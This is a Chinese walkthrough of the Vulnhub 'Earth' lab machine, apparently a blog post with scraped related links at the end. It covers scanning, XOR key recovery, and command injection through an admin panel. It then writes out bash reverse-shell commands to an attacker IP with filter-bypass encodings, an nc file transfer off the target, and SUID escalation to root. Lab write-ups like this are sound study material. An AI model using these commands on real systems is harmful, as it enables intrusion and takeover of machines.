1.信息收集

1.1找到目标主机ip

vulnhub靶场通用的技巧 这里我们靶场是nat模式的 所以肯定就是在我们自己设置的一个网段范围内,我这里nat本机的地址是10.1.1.1

所处的网段就是10.1.1.0了

所以我们直接上工具扫 可以nmap 10.1.1.0/24

不过速度较慢 所以我们不推荐

这里可以用kali的 arp-scan (使用arp协议探测)

直接arp-scan l就行了

这里显然就是10.1.1.108

当然也可以用ping命令 或者goby等等 方法很多 根据情况来用

1.2nmap扫描目标

对目标主机进行全方位扫描

nmap -T4 -A 10.1.1.108

根据扫描信息我们可以知道

目标开启了 80/443/22端口

22端口ssh 是公私钥连接 所以无法爆破

利用ip分别访问80/443(https)端口



基本无果

这里先搁置,当然如果想继续的话可以指纹识别/后台爆破 这两种思路

仔细观察nmap扫描结果可以发现

有两条dns解析记录

在本地hosts文件中加入解析记录

vim /etc/hosts

然后分别访问 两个域名 (https)

逐一访问

这个看起来像个加密的东东

然后

1.3目录爆破

然后就是路径爆破,找找后台或者敏感信息泄露什么的

这里kali可以用自带的dirb

通过默认字典我们扫到了一些东西

对于admin后台 我们可以尝试暴力破解、SQL注入均无果

所以我们访问一下扫到的 robots.txt

自然的我们访问下最下面的这个文件

后缀名这里可以fuzz

最后测试出是txt文件

测试安全消息系统注意事项:
*使用XOR加密作为算法,在RSA中使用应该是安全的。
*地球已确认他们已收到我们发送的信息。
*testdata.txt 用于测试加密。
*terra 用作管理门户的用户名。
去做:
*我们如何安全地将每月的密钥发送到地球? 或者我们应该每周更换钥匙?
*需要测试不同的密钥长度以防止暴力破解。 钥匙应该多长时间?
*需要改进消息界面和管理面板的界面,目前非常基础。

我的理解,总结一下就是y星人用xor加密传输数据,然后给了一个terra的管理账号 那肯定是要密码了,然后根据

刚开始有几条加密的数据 也就是异或后的数据 所以很自然我们选择用Previous Messages来对testdata.txt 进行xor运算 从而得到密钥

import binascii
data1 = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
f = binascii.b2a_hex(open('testdata.txt', 'rb').read()).decode()
print(hex(int(data1,16) ^ int(f,16)))

这个是网上的py脚本

这个脚本抄的 就不多解释了 然后快进到解出数据

  • 解出是16进制的数据
0x6561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174656368616e67656261643468756d616e736561727468636c696d6174
  • 转一下字符串

earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat

都是一些重复的password

所以得到了一个高权限用户:

username:terra
password:earthclimatechangebad4humans

2.漏洞利用

然后转入我们之前扫到的登录界面进行登录:

登录之后是一个命令执行,简单执行几个命令

  • 这里可以通过

    find / -name "*flag*"

寻找flag,然后发现会一个user的flag和一个root的flag ,而我们需要查看root的flag 所以就有了下面的提权内容

2.1反弹shell

  • 首先建立一个监听(这里端口设置为6666)
nc -lvvp 6666
  • linux下利用bash反弹 shell
bash -i >&/dev/tcp/10.1.1.20/6666 0>&1

这里反弹shell的时候碰到了过滤条件,根据网上大佬的解析说是过滤了ip(正则方式),当然如果我们黑盒的话也可以fuzz出来

这里我直接放出源码,在/var/earth_web/secure_message/forms.py里面

当然我们本次的实验web也都能在/var/earth_web下找到

所以这里绕过方式简单举例两种:

  • ip转int
bash -i >&/dev/tcp/167837972/6666 0>&1

  • 16进制绕过
bash -i >&/dev/tcp/0x0a.0x01.0x01.0x14/6666 0>&1
  • 一些其他思路:目标有python环境 绕过前端使用python的反弹shell

2.2提权

连接上shell

这里我们是apache用户 没有root权限 不能查看root目录下的flag

所以想办法提权

这里利用suid提权,首先查找具有root的s权限的命令

find / -perm -u=s -type f 2>/dev/null

没有网上已知的容易提权的命令 但是观察发现有一个reset_root命令,运行尝试一下

  • ps:可以用strings命令查看一下/usr/bin/reset_root

CHECKING IF RESET TRIGGERS PRESENT...
RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.

所以是运行的时候出错了?让我们debug一下?

利用nc把文件传到本地(因为我们要用strace命令调试,靶机中没有)

  • 本地监听并且接收文件
nc -lvvp  1234>/tmp/reset_root_test
  • 靶机发送文件
nc 10.1.1.20 1234</usr/bin/reset_root

然后本地打开调试,如果权限不够的话简单粗暴给个权限

chmod 777 /tmp/reset_root_test

简单调试命令执行过后发现是由于没有这三个文件夹然后报的错,简单在靶机中find后没发现,所以尝试在靶机中建立相应的文件

这里我选择了创建文件夹 理论上说创建文件也是可以的,然后再执行reset_root就发现重置了密码Earth

  • 切换为root

  • su root

  • 查看目录,得到flag
ls -al /root
cat /root/root_flag.txt

Vulnhub-earth的更多相关文章

  1. Vulnhub 之 Earth

    靶机地址:https://www.vulnhub.com/entry/the-planets-earth,755/ Kali IP:192.168.56.104 下载OVA文件后,直接通过Virtua ...

  2. vulnhub靶场之THE PLANETS: EARTH

    准备: 攻击机:虚拟机kali.本机win10. 靶机:THE PLANETS: EARTH,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnh ...

  3. Vulnhub - THE PLANETS: EARTH

    环境配置 从www.vulnhub.com下载靶机,在VMware中导入,自动分配IP 主机发现 通过对内网主机的扫描,VMware为目标主机 端口扫描 使用nmap对主机进行扫描 发现443端口信息 ...

  4. ArcGIS Earth

    恩,万众瞩目的ArcGIS Earth,现在华丽丽的可以在官网上下载了 满怀希望的心花怒放的我就去下载了...... 然后得然后...... 打开界面简洁的不要不要的,连个Esri的logo都没有.好 ...

  5. 看到shape文件可以加载到GOOGLE EARTH上的方法,有空可以试试

    引用 Shape文件转为KMZ并在Google Earth中显示 (1)在ArcGIS中加载一个Shape文件,笔者加载的是某个地区的道路(双线道路)图层 (2)在ArcToolbox中,依次展开Co ...

  6. ArcGIS Earth数据小析

    ArcGIS Earth,一款轻量级的三维地球应用.因为工作关系下载试用了半天,正好借这个机会简单研究一下ArcGIS Earth的大概思路,特别是地形数据的组成和影像数据的加载,在这总结整理一下.下 ...

  7. Google earth

    装了Google earth之后,需要联网,才能放缩看不同精细程度的场景,除非你之前看过,在你自己的缓存中有存储. Google earth有自己的server,我们交互化的时候,server传数据给 ...

  8. The Earth Mover's Distance

    The EMD is based on the minimal cost that must be paid to transform one distribution into the other. ...

  9. Earth Mover's Distance (EMD)

    原文: http://d.hatena.ne.jp/aidiary/20120804/1344058475作者: sylvan5翻译: Myautsai和他的朋友们(Google Translate. ...

  10. Google map实现类似Google earth的图标展开功能

    前言 在Google map的开发时,如果有多个图标重叠在一起,这时下面的图标就点击不到.而在Google Earth中,鼠标一移到上面就会自动弹开,这对于用户而言是十分人性化的一个功能.如下是在Go ...

随机推荐

  1. ElasticSearch-学习笔记04-复杂查询

    service package com.huarui.service; import com.huarui.entity.SearchEntity; import com.huarui.exectio ...

  2. 2.安装Spark与Python练习

    一.安装Spark <Spark2.4.0入门:Spark的安装和使用> 博客地址:http://dblab.xmu.edu.cn/blog/1307-2/ 1.1 基础环境 1.1.1 ...

  3. BootstrapBlazor 智能生成神器(一)AutoGenerateColumnAttribute 特性介绍

    原文连接:https://www.cnblogs.com/ysmc/p/16074645.html BootstrapBlazor 官网地址:https://www.blazor.zone 介绍 Bo ...

  4. 在VisualStudio调试器中使用内存窗口和查看内存分布

    调试模式下内存窗口的使用 在调试期间,"内存"窗口显示应用使用的内存空间.调试器窗口(如"监视"."自动"."局部变量" ...

  5. [性能测试] locust学习-基础篇

    在本文中,我将介绍一个名为Locust的性能测试工具.我将从Locust的功能特性出发,结合实例对Locust的使用方法进行介绍. 概述 Locust主要有以下的功能特性: 在Locust测试框架中, ...

  6. 使用jquery-webcam插件,实现人脸采集并转base64

    项目需求:在ie或chrome浏览器下,调用电脑摄像头(确保使用的是笔记本电脑,或者摄像头功能正常使用的台式机),进行人脸图像采集预览,并将图片的base64码传入到后台进行后续操作.该demo适用于 ...

  7. js 简易模块加载器 示例分析

    前端模块化 关注前端技术发展的各位亲们,肯定对模块化开发这个名词不陌生.随着前端工程越来越复杂,代码越来越多,模块化成了必不可免的趋势. 各种标准 由于javascript本身并没有制定相关标准(当然 ...

  8. [FireshellCTF2020]ScreenShooter 1

    此题关键在于理清逻辑,本地将url发送给服务器,服务器请求sereenshooter以后将结果返回 所以应该在服务器查看日志. 发现了PhantomJS 引擎一下 <!DOCTYPE html& ...

  9. win10 Celery异步任务报错: Task handler raised error: ValueError('not enough values to unpack (expected 3, got 0)

    示例代码如下: from celery import Celery app = Celery('tasks', backend='redis://×××:6379/1', broker='redis: ...

  10. IDEA个人常用快捷键

    Ctrl+Z:撤销 Ctrl+Shift+Z:重做 Ctrl+X:剪贴 Ctrl+C:复制 Ctrl+V:粘贴 Ctrl+Y:删除当前行 Ctrl+D:复制当前行 Alt+向左箭头:返回上次光标位置 ...